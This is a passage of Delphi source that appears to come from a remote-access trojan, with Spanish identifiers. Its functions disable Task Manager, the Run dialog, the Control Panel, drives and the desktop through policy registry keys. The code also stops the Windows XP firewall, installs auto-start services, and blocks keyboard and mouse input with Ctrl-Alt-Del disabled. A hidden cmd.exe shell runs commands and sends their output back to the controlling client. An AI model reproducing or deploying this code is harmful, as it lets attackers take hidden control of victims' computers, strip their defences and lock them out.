  2391.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2392.           exit;
  2393.       end;
  2394.                   if RegQueryValueEx(h, 'Noclose', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2395.             if   TmpInt= 0 then begin
  2396.               TmpInt:=1;
  2397.             end
  2398.             else
  2399.             begin
  2400.                TmpInt:=0;
  2401.             end;
  2402.                if   (TmpInt>1) then   TmpInt:=1;
  2403.           RegSetValueEx( h,   'Noclose' , 0, REG_DWORD,
  2404.            @TmpInt, SizeOf( TmpInt ) ) ;
  2405.           RegCloseKey( h );
  2406. end;
  2407.    function NoRun(value : integer): string;
  2408. var h : HKEY;
  2409.     i : Integer;
  2410.     TmpInt: Integer;
  2411. BufSize: Integer;
  2412.  DataType: Integer;
  2413. begin
  2414.       BufSize := SizeOf(TmpInt);
  2415.    DataType := REG_DWORD ;
  2416.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2417.           exit;
  2418.       end;
  2419.                    if RegQueryValueEx(h, 'NoRun', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2420.             if   TmpInt= 0 then begin
  2421.               TmpInt:=1;
  2422.             end
  2423.             else
  2424.             begin
  2425.                TmpInt:=0;
  2426.             end;
  2427.             if   (TmpInt>1) then   TmpInt:=1;
  2428.           RegSetValueEx( h,   'NoRun' , 0, REG_DWORD,
  2429.            @TmpInt, SizeOf( TmpInt ) ) ;
  2430.           RegCloseKey( h );
  2431. end;
  2432.    function NoLogoff(value : integer): string;
  2433. var h : HKEY;
  2434.     i : Integer;
  2435.     TmpInt: Integer;
  2436. BufSize: Integer;
  2437.  DataType: Integer;
  2438. begin
  2439.       BufSize := SizeOf(TmpInt);
  2440.    DataType := REG_DWORD ;
  2441.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2442.           exit;
  2443.       end;
  2444.                      if RegQueryValueEx(h, 'NoLogoff', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2445.             if   TmpInt= 0 then begin
  2446.               TmpInt:=1;
  2447.             end
  2448.             else
  2449.             begin
  2450.                TmpInt:=0;
  2451.             end;
  2452.                   if   (TmpInt>1) then   TmpInt:=1;
  2453.           RegSetValueEx( h,   'NoLogoff' , 0, REG_DWORD,
  2454.            @TmpInt, SizeOf( TmpInt ) ) ;
  2455.           RegCloseKey( h );
  2456. end;
  2457.     function NoDesktop(value : integer): string;
  2458. var h : HKEY;
  2459.     i : Integer;
  2460.     TmpInt: Integer;
  2461. BufSize: Integer;
  2462.  DataType: Integer;
  2463. begin
  2464.       BufSize := SizeOf(TmpInt);
  2465.    DataType := REG_DWORD ;
  2466.         if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2467.           exit;
  2468.       end;
  2469.                   if RegQueryValueEx(h, 'NoDesktop', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2470.             if   TmpInt= 0 then begin
  2471.               TmpInt:=1;
  2472.             end
  2473.             else
  2474.             begin
  2475.                TmpInt:=0;
  2476.             end;
  2477.            if   (TmpInt>1) then   TmpInt:=1;
  2478.           RegSetValueEx( h,   'NoDesktop' , 0, REG_DWORD,
  2479.            @TmpInt, SizeOf( TmpInt ) ) ;
  2480.           RegCloseKey( h );
  2481. end;
  2482.      function NoFind (value : integer): string;
  2483. var h : HKEY;
  2484.     i : Integer;
  2485.     TmpInt: Integer;
  2486. BufSize: Integer;
  2487.  DataType: Integer;
  2488. begin
  2489.       BufSize := SizeOf(TmpInt);
  2490.    DataType := REG_DWORD ;
  2491.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2492.           exit;
  2493.       end;
  2494.                        if RegQueryValueEx(h, 'NoFind', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2495.             if   TmpInt= 0 then begin
  2496.               TmpInt:=1;
  2497.             end
  2498.             else
  2499.             begin
  2500.                TmpInt:=0;
  2501.             end;
  2502.                  if   (TmpInt>1) then   TmpInt:=1;
  2503.           RegSetValueEx( h,   'NoFind' , 0, REG_DWORD,
  2504.            @TmpInt, SizeOf( TmpInt ) ) ;
  2505.           RegCloseKey( h );
  2506. end;
  2507.       function NoNetConnectDisconnect (value : integer): string;
  2508. var h : HKEY;
  2509.     i : Integer;
  2510.     TmpInt: Integer;
  2511. BufSize: Integer;
  2512.  DataType: Integer;
  2513. begin
  2514.       BufSize := SizeOf(TmpInt);
  2515.    DataType := REG_DWORD ;
  2516.           if RegCreateKey ( HKEY_Current_User ,'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2517.           exit;
  2518.       end;
  2519.                     if RegQueryValueEx(h, 'NoNetConnectDisconnectr', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2520.             if   TmpInt= 0 then begin
  2521.               TmpInt:=1;
  2522.             end
  2523.             else
  2524.             begin
  2525.                TmpInt:=0;
  2526.             end;
  2527.                     if   (TmpInt>1) then   TmpInt:=1;
  2528.           RegSetValueEx( h,   'NoNetConnectDisconnect' , 0, REG_DWORD,
  2529.            @TmpInt, SizeOf( TmpInt ) ) ;
  2530.           RegCloseKey( h );
  2531. end;
  2532.      function NoSetFolders(value : integer): string;
  2533. var h : HKEY;
  2534.     i : Integer;
  2535.     TmpInt: Integer;
  2536. BufSize: Integer;
  2537.  DataType: Integer;
  2538. begin
  2539.       BufSize := SizeOf(TmpInt);
  2540.    DataType := REG_DWORD ;
  2541.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2542.           exit;
  2543.       end;
  2544.                       if RegQueryValueEx(h, 'NoSetFolders', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2545.             if   TmpInt= 0 then begin
  2546.               TmpInt:=1;
  2547.             end
  2548.             else
  2549.             begin
  2550.                TmpInt:=0;
  2551.             end;
  2552.                    if   (TmpInt>1) then   TmpInt:=1;
  2553.           RegSetValueEx( h,   'NoSetFolders' , 0, REG_DWORD,
  2554.            @TmpInt, SizeOf( TmpInt ) ) ;
  2555.           RegCloseKey( h );
  2556. end;
  2557.      function NoControlPanel(value : integer): string;
  2558. var h : HKEY;
  2559.     i : Integer;
  2560.     TmpInt: Integer;
  2561. BufSize: Integer;
  2562.  DataType: Integer;
  2563. begin
  2564.       BufSize := SizeOf(TmpInt);
  2565.    DataType := REG_DWORD ;
  2566.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2567.           exit;
  2568.       end;
  2569.                       if RegQueryValueEx(h, 'NoControlPanel', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2570.             if   TmpInt= 0 then begin
  2571.               TmpInt:=1;
  2572.             end
  2573.             else
  2574.             begin
  2575.                TmpInt:=0;
  2576.             end;
  2577.                    if   (TmpInt>1) then   TmpInt:=1;
  2578.           RegSetValueEx( h,   'NoControlPanel' , 0, REG_DWORD,
  2579.            @TmpInt, SizeOf( TmpInt ) ) ;
  2580.           RegCloseKey( h );
  2581. end;
  2582.      function NoDrives (value : integer): string;
  2583. var h : HKEY;
  2584.     i : Integer;
  2585.     TmpInt: Integer;
  2586. BufSize: Integer;
  2587.  DataType: Integer;
  2588. begin
  2589.       BufSize := SizeOf(TmpInt);
  2590.    DataType := REG_DWORD ;
  2591.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2592.           exit;
  2593.       end;
  2594.                        if RegQueryValueEx(h, 'NoDrives', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2595.             if   TmpInt= 0 then begin
  2596.               TmpInt:=1;
  2597.             end
  2598.             else
  2599.             begin
  2600.                TmpInt:=0;
  2601.             end;
  2602.            if   (TmpInt>1) then   TmpInt:=1;
  2603.           RegSetValueEx( h,   'NoDrives' , 0, REG_DWORD,
  2604.            @TmpInt, SizeOf( TmpInt ) ) ;
  2605.           RegCloseKey( h );
  2606. end;
  2607.      function ResrictRun(value : integer): string;
  2608. var h : HKEY;
  2609.     i : Integer;
  2610.     TmpInt: Integer;
  2611. BufSize: Integer;
  2612.  DataType: Integer;
  2613. begin
  2614.       BufSize := SizeOf(TmpInt);
  2615.    DataType := REG_DWORD ;
  2616.           if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2617.           exit;
  2618.       end;
  2619.                       if RegQueryValueEx(h, 'ResrictRun', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2620.             if   TmpInt= 0 then begin
  2621.               TmpInt:=1;
  2622.             end
  2623.             else
  2624.             begin
  2625.                TmpInt:=0;
  2626.             end;
  2627.                 if   (TmpInt>1) then   TmpInt:=1;
  2628.           RegSetValueEx( h,   'ResrictRun' , 0, REG_DWORD,
  2629.            @TmpInt, SizeOf( TmpInt ) ) ;
  2630.           RegCloseKey( h );
  2631. end;
  2632.    //System
  2633.         function DisableTaskMgr(value : integer): string;
  2634. var h : HKEY;
  2635.     i : Integer;
  2636.     TmpInt: Integer;
  2637.  BufSize: Integer;
  2638.  DataType: Integer;
  2639. begin
  2640.       BufSize := SizeOf(TmpInt);
  2641.    DataType := REG_DWORD ;
  2642.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
  2643.           exit;
  2644.       end;
  2645.             if RegQueryValueEx(h, 'DisableTaskMgr', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2646.             if   TmpInt= 0 then begin
  2647.               TmpInt:=1;
  2648.             end
  2649.             else
  2650.             begin
  2651.                TmpInt:=0;
  2652.             end;
  2653.           if   (TmpInt>1) then   TmpInt:=1;
  2654.           RegSetValueEx( h,   'DisableTaskMgr' , 0, REG_DWORD,
  2655.            @TmpInt, SizeOf( TmpInt ) ) ;
  2656.           RegCloseKey( h );
  2657. end;
  2658.   function NoDispCPL(value : integer): string;
  2659. var h : HKEY;
  2660.     i : Integer;
  2661.     TmpInt: Integer;
  2662. BufSize: Integer;
  2663.  DataType: Integer;
  2664. begin
  2665.       BufSize := SizeOf(TmpInt);
  2666.    DataType := REG_DWORD ;
  2667.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
  2668.           exit;
  2669.       end;
  2670.                         if RegQueryValueEx(h, 'NoDispCPL', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2671.             if   TmpInt= 0 then begin
  2672.               TmpInt:=1;
  2673.             end
  2674.             else
  2675.             begin
  2676.                TmpInt:=0;
  2677.             end;
  2678.                if   (TmpInt>1) then   TmpInt:=1;
  2679.           RegSetValueEx( h,   'NoDispCPL' , 0, REG_DWORD,
  2680.            @TmpInt, SizeOf( TmpInt ) ) ;
  2681.           RegCloseKey( h );
  2682. end;
  2683.  function NoDispBackgroundPage(value : integer): string;
  2684. var h : HKEY;
  2685.     i : Integer;
  2686.     TmpInt: Integer;
  2687. BufSize: Integer;
  2688.  DataType: Integer;
  2689. begin
  2690.       BufSize := SizeOf(TmpInt);
  2691.    DataType := REG_DWORD ;
  2692.           if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
  2693.           exit;
  2694.       end;
  2695.                          if RegQueryValueEx(h, 'NoDispBackgroundPage', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2696.             if   TmpInt= 0 then begin
  2697.               TmpInt:=1;
  2698.             end
  2699.             else
  2700.             begin
  2701.                TmpInt:=0;
  2702.             end;
  2703.               if   (TmpInt>1) then   TmpInt:=1;
  2704.           RegSetValueEx( h,   'NoDispBackgroundPage' , 0, REG_DWORD,
  2705.            @TmpInt, SizeOf( TmpInt ) ) ;
  2706.           RegCloseKey( h );
  2707. end;
  2708.   //Network
  2709.    function NoWorkgroupContents(value : integer): string;
  2710. var h : HKEY;
  2711.     i : Integer;
  2712.     TmpInt: Integer;
  2713. BufSize: Integer;
  2714.  DataType: Integer;
  2715. begin
  2716.       BufSize := SizeOf(TmpInt);
  2717.    DataType := REG_DWORD ;
  2718.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
  2719.           exit;
  2720.       end;
  2721.                       if RegQueryValueEx(h, 'NoWorkgroupContents', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2722.             if   TmpInt= 0 then begin
  2723.               TmpInt:=1;
  2724.             end
  2725.             else
  2726.             begin
  2727.                TmpInt:=0;
  2728.             end;
  2729.              if   (TmpInt>1) then   TmpInt:=1;
  2730.           RegSetValueEx( h,   'NoWorkgroupContents' , 0, REG_DWORD,
  2731.            @TmpInt, SizeOf( TmpInt ) ) ;
  2732.           RegCloseKey( h );
  2733. end;
  2734.    function NoEntireNetwork(value : integer): string;
  2735. var h : HKEY;
  2736.     i : Integer;
  2737.     TmpInt: Integer;
  2738. BufSize: Integer;
  2739.  DataType: Integer;
  2740. begin
  2741.       BufSize := SizeOf(TmpInt);
  2742.    DataType := REG_DWORD ;
  2743.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
  2744.           exit;
  2745.       end;
  2746.                      if RegQueryValueEx(h, 'NoEntireNetwork', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2747.             if   TmpInt= 0 then begin
  2748.               TmpInt:=1;
  2749.             end
  2750.             else
  2751.             begin
  2752.                TmpInt:=0;
  2753.             end;
  2754.            if   (TmpInt>1) then   TmpInt:=1;
  2755.           RegSetValueEx( h,   'NoEntireNetwork' , 0, REG_DWORD,
  2756.            @TmpInt, SizeOf( TmpInt ) ) ;
  2757.           RegCloseKey( h );
  2758. end;
  2759.    function NoFileSharingControl(value : integer): string;
  2760. var h : HKEY;
  2761.     i : Integer;
  2762.     TmpInt: Integer;
  2763. BufSize: Integer;
  2764.  DataType: Integer;
  2765. begin
  2766.       BufSize := SizeOf(TmpInt);
  2767.    DataType := REG_DWORD ;
  2768.           if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
  2769.           exit;
  2770.       end;
  2771.                      if RegQueryValueEx(h, 'NoFileSharingControl', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2772.             if   TmpInt= 0 then begin
  2773.               TmpInt:=1;
  2774.             end
  2775.             else
  2776.             begin
  2777.                TmpInt:=0;
  2778.             end;
  2779.                if   (TmpInt>1) then   TmpInt:=1;
  2780.           RegSetValueEx( h,   'NoFileSharingControl' , 0, REG_DWORD,
  2781.            @TmpInt, SizeOf( TmpInt ) ) ;
  2782.           RegCloseKey( h );
  2783. end;
  2784.    function NoPrintSharing(value : integer): string;
  2785. var h : HKEY;
  2786.     i : Integer;
  2787.     TmpInt: Integer;
  2788. BufSize: Integer;
  2789.  DataType: Integer;
  2790. begin
  2791.       BufSize := SizeOf(TmpInt);
  2792.    DataType := REG_DWORD ;
  2793.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
  2794.           exit;
  2795.       end;
  2796.                       if RegQueryValueEx(h, 'NoPrintSharing', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2797.             if   TmpInt= 0 then begin
  2798.               TmpInt:=1;
  2799.             end
  2800.             else
  2801.             begin
  2802.                TmpInt:=0;
  2803.             end;
  2804.               if   (TmpInt>1) then   TmpInt:=1;
  2805.           RegSetValueEx( h,   'NoPrintSharing' , 0, REG_DWORD,
  2806.            @TmpInt, SizeOf( TmpInt ) ) ;
  2807.           RegCloseKey( h );
  2808. end;
  2809. procedure DisableXPFirewall;
  2810.     begin
  2811. shellexecute(0,'open', 'net.exe',' stop sharedaccess',0,0);
  2812. end;
  2813. procedure SetmousePOS(x : integer; y : integer);
  2814. begin
  2815.     SetCursorPos (x, y);
  2816. end;
  2817. procedure InstallService(Machine, ServiceName, DisplayName, FileName: string);
  2818. var
  2819.   SCManager: SC_Handle;
  2820.   Service: SC_Handle;
  2821. begin
  2822.   SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  2823.   if SCManager = 0 then Exit;
  2824.   try
  2825.     Service := CreateService(SCManager, PChar(ServiceName), PChar(DisplayName), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, PChar(FileName), nil, nil, nil, nil, nil);
  2826.     CloseServiceHandle(Service);
  2827.   finally
  2828.     CloseServiceHandle(SCManager);
  2829.   end;
  2830. end;
  2831. procedure UninstallService(Machine, ServiceName: string);
  2832. var
  2833.   SCManager: SC_Handle;
  2834.   Service: SC_Handle;
  2835. begin
  2836.   SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  2837.   if SCManager = 0 then Exit;
  2838.   try
  2839.     Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
  2840.     DeleteService(Service);
  2841.     CloseServiceHandle(Service);
  2842.   finally
  2843.     CloseServiceHandle(SCManager);
  2844.   end;
  2845. end;
  2846. procedure StopService(Machine, ServiceName: string);
  2847. var
  2848.   SCManager: SC_Handle;
  2849.   Service: SC_Handle;
  2850.   ServiceStatus: TServiceStatus;
  2851. begin
  2852.   SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  2853.   if SCManager = 0 then Exit;
  2854.   try
  2855.     Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
  2856.     WinSvc.ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
  2857.     CloseServiceHandle(Service);
  2858.   finally
  2859.     CloseServiceHandle(SCManager);
  2860.   end;
  2861. end;
  2862. procedure StartService(Machine, ServiceName: string);
  2863. var
  2864.   SCManager: SC_Handle;
  2865.   Service: SC_Handle;
  2866.   Args: pchar;
  2867. begin
  2868.   SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  2869.   if SCManager = 0 then Exit;
  2870.   try
  2871.     Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
  2872.     Args := nil;
  2873.     WinSvc.StartService(Service, 0, Args);
  2874.     CloseServiceHandle(Service);
  2875.   finally
  2876.     CloseServiceHandle(SCManager);
  2877.   end;
  2878. end;
  2879. function ServiceGetList(Machine: string): string;
  2880. var
  2881.   ServiceLoop: integer;
  2882.   SCManager: SC_Handle;
  2883.   nBytesNeeded, nServices, nResumeHandle: dword;
  2884.   ServiceStatus: array [0..511] of TEnumServiceStatus;
  2885. begin
  2886.   SCManager := OpenSCManager(PChar(Machine), Nil, SC_MANAGER_ALL_ACCESS);
  2887.   if SCManager = 0 then Exit;
  2888.   nResumeHandle := 0;
  2889.   try
  2890.     while True do begin
  2891.       EnumServicesStatus(SCManager, SERVICE_WIN32, SERVICE_STATE_ALL, ServiceStatus[0], sizeof(ServiceStatus), nBytesNeeded, nServices, nResumeHandle);
  2892.       for ServiceLoop := 0 to nServices - 1 do begin
  2893.         if ServiceStatus[ServiceLoop].ServiceStatus.dwCurrentState = 4 then
  2894.         begin
  2895.           Result := Result + ServiceStatus[ServiceLoop].lpServiceName + '|' + ServiceStatus[ServiceLoop].lpDisplayName + '|Started' + #13#10;
  2896.         end
  2897.         else
  2898.         begin
  2899.           Result := Result + ServiceStatus[ServiceLoop].lpServiceName + '|' + ServiceStatus[ServiceLoop].lpDisplayName + '|Stopped' + #13#10;
  2900.        end;
  2901.       end;
  2902.       if nBytesNeeded = 0 then Break;
  2903.     end;
  2904.   finally
  2905.     if SCManager > 0 then CloseServiceHandle(SCManager);
  2906.   end;
  2907. end;
  2908.   procedure ShellCode  ;
  2909.       var
  2910.   StartupInfo: TStartupinfo;
  2911.   ProcessInfo: TProcessInformation;
  2912.   DumpHandle:THandle;
  2913.   DumpFileName:string;
  2914.   CmdInt:string;
  2915.   SecyAttr:TSecurityAttributes;
  2916. begin
  2917.   if EsXp then   begin
  2918.       CmdInt:= FindWindowsDir + 'System32cmd.exe /C ';
  2919.       end
  2920.      else
  2921.      begin
  2922.     CmdInt := FindWindowsDir + 'command.com /C ';
  2923.         end;
  2924.     with SecyAttr do begin
  2925.       nLength:=SizeOf(SecyAttr);
  2926.       lpSecurityDescriptor:=nil;
  2927.       bInheritHandle:=True;
  2928.     end;
  2929.     DumpFileName:=GetLocalPath+'DEBUG.TXT';
  2930.     Windows.DeleteFile(pChar(DumpFileName));
  2931.     FillChar(Startupinfo,Sizeof(TStartupinfo),0);
  2932.     Startupinfo.cb:=Sizeof(TStartupInfo);
  2933.     Startupinfo.dwFlags:= STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES ;
  2934.     Startupinfo.wShowWindow:=SW_HIDE;
  2935.     DumpHandle:=CreateFile(pChar(DumpFileName),
  2936.         GENERIC_WRITE, FILE_SHARE_WRITE,
  2937.         @SecyAttr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0) ;
  2938.     try
  2939.       Startupinfo.hStdError:=DumpHandle;
  2940.       Startupinfo.hStdOutput:=DumpHandle;
  2941.       if CreateProcess( nil, pChar(CmdInt + ConsolaApp),
  2942.             nil, nil, true, NORMAL_PRIORITY_CLASS,
  2943.             nil, nil, Startupinfo, ProcessInfo)
  2944.       then WaitforSingleObject(Processinfo.hProcess, infinite);
  2945.     finally
  2946.       CloseHandle(DumpHandle);
  2947.       CloseHandle(ProcessInfo.hProcess);
  2948.       if FileExists(DumpFileName) then begin
  2949.         EnviarSalidaAlCliente( DumpFileName);
  2950.       end;
  2951.     end;
  2952.    end;
  2953.       function ShutDownWindows(RebootParam: Longword): Boolean;
  2954. var
  2955.   TTokenHd: THandle;
  2956.   TTokenPvg: TTokenPrivileges;
  2957.   cbtpPrevious: DWORD;
  2958.   rTTokenPvg: TTokenPrivileges;
  2959.   pcbtpPreviousRequired: DWORD;
  2960.   tpResult: Boolean;
  2961. const
  2962.   SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
  2963. begin
  2964.   if  (EsXp=true) then
  2965.   begin
  2966.     tpResult := OpenProcessToken(GetCurrentProcess(),
  2967.       TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
  2968.       TTokenHd);
  2969.     if tpResult then
  2970.     begin
  2971.       tpResult := LookupPrivilegeValue(nil,
  2972.                                        SE_SHUTDOWN_NAME,
  2973.                                        TTokenPvg.Privileges[0].Luid);
  2974.       TTokenPvg.PrivilegeCount := 1;
  2975.       TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  2976.       cbtpPrevious := SizeOf(rTTokenPvg);
  2977.       pcbtpPreviousRequired := 0;
  2978.       if tpResult then
  2979.         Windows.AdjustTokenPrivileges(TTokenHd,
  2980.                                       False,
  2981.                                       TTokenPvg,
  2982.                                       cbtpPrevious,
  2983.                                       rTTokenPvg,
  2984.                                       pcbtpPreviousRequired);
  2985.     end;
  2986.   end;
  2987.   Result := ExitWindowsEx(RebootParam, 0);
  2988. end;
  2989. function MatarMouseTeclado : String;
  2990. function Existe(_dllname, _funcname: string; var _p: pointer): boolean;
  2991. //Devuelve true si la funcion _funcname esta disponible en la DLL _dllname.
  2992. //Si es asi, almacena en _p la direccion de la funci髇.
  2993. var _lib: tHandle;
  2994. begin
  2995.      Result := false;
  2996.      _p := NIL;
  2997.      if LoadLibrary( PChar(_dllname) ) = 0 then exit;
  2998.      _lib := GetModuleHandle( PChar(_dllname) );
  2999.      if _lib <> 0 then
  3000.      begin
  3001.         _p := GetProcAddress(_lib, PChar(_funcname));
  3002.         if _p <> nil then Result := true;
  3003.      end;
  3004. end;
  3005. var xBlockInput : function( Block: BOOL ): BOOL; stdcall;
  3006.     i : Integer;
  3007. begin
  3008.     if Existe( 'USER32.DLL', 'BlockInput', @xBlockInput ) then
  3009.        if Bloqueado then
  3010.        begin
  3011.             xBlockInput( false );
  3012.             Bloqueado := False;
  3013.             SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @i, 0);
  3014.             Result := 'Tecla y mouse habilitados!!!';
  3015.        end
  3016.        else begin
  3017.                  xBlockInput( true );
  3018.                  Bloqueado := True;
  3019.                  //Desactivar el  Ctrl-Alt-Del
  3020.                  SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
  3021.                  Result :=  'Tecla y mouse deshabilitados!!!';
  3022.             end;
  3023. end;
  3024. procedure ExtractResourceToFile( ResName, ResExtract: String);
  3025. var
  3026.   ResourceLocation: HRSRC;
  3027.   cFileHandle, cResourceDataHandle: THandle;
  3028.   cResourceSize, cBytesWritten: Longword;
  3029.   cRecourcePath, cResourcePointer: PChar;
  3030. begin
  3031.   cRecourcePath := PChar( ResExtract );
  3032.   ResourceLocation := FindResource (HInstance,PChar(ResName),RT_RCDATA);
  3033.   cResourceSize := SizeofResource(HInstance,ResourceLocation);
  3034.   cResourceDataHandle := LoadResource(HInstance,ResourceLocation);
  3035.   cResourcePointer := LockResource(cResourceDataHandle);
  3036.   cFileHandle := CreateFile(cRecourcePath,GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  3037.   WriteFile( cFileHandle, cResourcePointer^, cResourceSize,cBytesWritten,nil);
  3038.   CloseHandle( cFileHandle );
  3039. end;
  3040. end.